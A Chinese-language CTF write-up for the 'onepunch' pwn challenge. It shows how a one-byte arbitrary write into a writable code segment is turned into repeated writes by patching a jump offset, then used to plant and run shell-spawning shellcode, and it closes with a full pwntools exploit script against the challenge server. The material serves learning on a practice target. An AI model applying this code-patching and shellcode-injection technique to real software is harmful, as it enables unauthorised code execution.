[Hackme.inndy] onepunch

0x00 前言

这道题目是在BUU上面看到的,原本是台湾的一个pwn练习平台hackme.inndy的题目,之前做了几道inndy的题目,感觉难度不大但是挺涨知识的。

这道题难度不算大,写这篇博客是为了记录一些骚姿势。

0x01 分析

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

主函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-18h]
int v5; // [rsp+Ch] [rbp-14h]
_BYTE *v6; // [rsp+10h] [rbp-10h]
unsigned __int64 v7; // [rsp+18h] [rbp-8h]

v7 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
printf("Where What?", 0LL);
v5 = __isoc99_scanf("%llx %d", &v6, &v4);
if ( v5 != 2 )
return 0;
*v6 = v4;
if ( v4 == 255 )
puts("No flag for you");
return 0;
}

还有一个很可疑的函数,名字是个下划线,执行的是mprotect函数,不过这次没用到它。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
signed __int64 _()
{
signed __int64 result; // rax

result = 10LL;
__asm { syscall; LINUX - sys_mprotect }
return result;
}

.text:00000000004006C6 _ proc near ; DATA XREF: .init_array:0000000000600E10↓o
.text:00000000004006C6 ; __unwind {
.text:00000000004006C6 push rbp
.text:00000000004006C7 mov rbp, rsp
.text:00000000004006CA lea rdi, loc_4006D1
.text:00000000004006D1
.text:00000000004006D1 loc_4006D1: ; DATA XREF: _+4↑o
.text:00000000004006D1 and rdi, 0FFFFFFFFFFFFF000h ; start
.text:00000000004006D8 mov rsi, 1000h ; len
.text:00000000004006DF mov rdx, 7 ; prot
.text:00000000004006E6 mov rax, 0Ah
.text:00000000004006ED syscall ; LINUX - sys_mprotect
.text:00000000004006EF nop
.text:00000000004006F0 pop rbp
.text:00000000004006F1 retn
.text:00000000004006F1 ; } // starts at 4006C6
.text:00000000004006F1 _ endp

根据main函数,我们会读入一个16进制的数到v6,然后读入一个10进制的数到v4,然后通过*v6 = v4;向16进制数的地址中写入这个10进制数,但由于前面是_BYTE *v6;,所以我们只能写入一个字节。

程序存在任意地址写的漏洞,但是只能使用一次,有什么办法能让这个漏洞多次被使用呢?

可以看到0x400000 - 0x401000 的代码段的权限是rwxp,也就是说这个程序的代码段可写!

接着看main函数的汇编

可以看到程序在判断完v4是否为255以后会有一个jnz跳转,这个在伪代码界面是不显示的,不过可以利用这个修改跳转的目的地来实现多次任意地址写。

有了多次任意地址写代码段任意地址跳转并且代码段可写,我们就可以像打着patch做题一样了,可以往代码段写入shellcode然后跳转到shellcode来执行了。

0x02 Let’s do it!

首先通过修改跳转的目的地来实现多次利用任意地址写漏洞

在IDA中将这个地方改成4或者5就能看到汇编对应的机器码。

然后来到刚才提到的.text:0000000000400767 75 0A jnz short loc_400773

其中\x75jnz的机器码,\x0A是跳转地址的偏移。

我们先选定一个跳转目的地。

这里选取了0x40071D mov edi, offset format ; "Where What?"

然后按下N,给他rename一下,这里就改成loc_40071D吧。

确定以后可以观察到如下形式

然后来到刚刚那个0x400767这个地方进行keypatch

将其改成jnz loc_40071D,就可以看到机器码由原来的75 0A变成了75 B4

这也就说明如果我们通过程序原本的一次任意地址写,将这个0A改成B4就能实现多次任意地址写。

而这个0A0x400768的位置,实现起来就简单了!

1
2
3
c.recvuntil('Where What?')
c.sendline('0x400768')
c.sendline('180')#0xB4 == 180

向代码段写入shellcode

我选的shellcode_addr = 0x400769,因为这块地方很容易触发,只需要让输入的十进制数为0XFF就可以。

1
2
3
4
5
6
7
8
9
context(log_level = 'debug',arch = 'amd64',os = 'linux')
sc_addr = 0x400769

shellcode = asm(shellcraft.sh())

for i in range(len(shellcode)):
c.recvuntil('Where What?')
c.sendline(str(hex(sc_addr+i)))
c.sendline(str(ord(shellcode[i])))

这里有个细节

我们需要保证shellcode里面不存在\xff,因为程序会有验证输入的十进制数是否等于0xff

比较幸运的是,这么生成的shellcode不含有\xff

get shell

1
2
3
4
c.sendline('0x400000')
c.sendline('255')

c.interactive()

向随便一个地方写入个255就能触发程序走向0x400769,也就是我们的shellcode的位置。

0x03 完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')

#c = process('./onepunch')

c = remote('node3.buuoj.cn',26043)

c.recvuntil('Where What?')
c.sendline('0x400768')
c.sendline('180')#0xB4 == 180

sc_addr = 0x400769

shellcode = asm(shellcraft.sh())

for i in range(len(shellcode)):
c.recvuntil('Where What?')
c.sendline(str(hex(sc_addr+i)))
c.sendline(str(ord(shellcode[i])))

c.sendline('0x400000')
c.sendline('255')


c.interactive()

0x04 参考链接

传送门

先知社区

CSDN

感谢各位师傅们的博客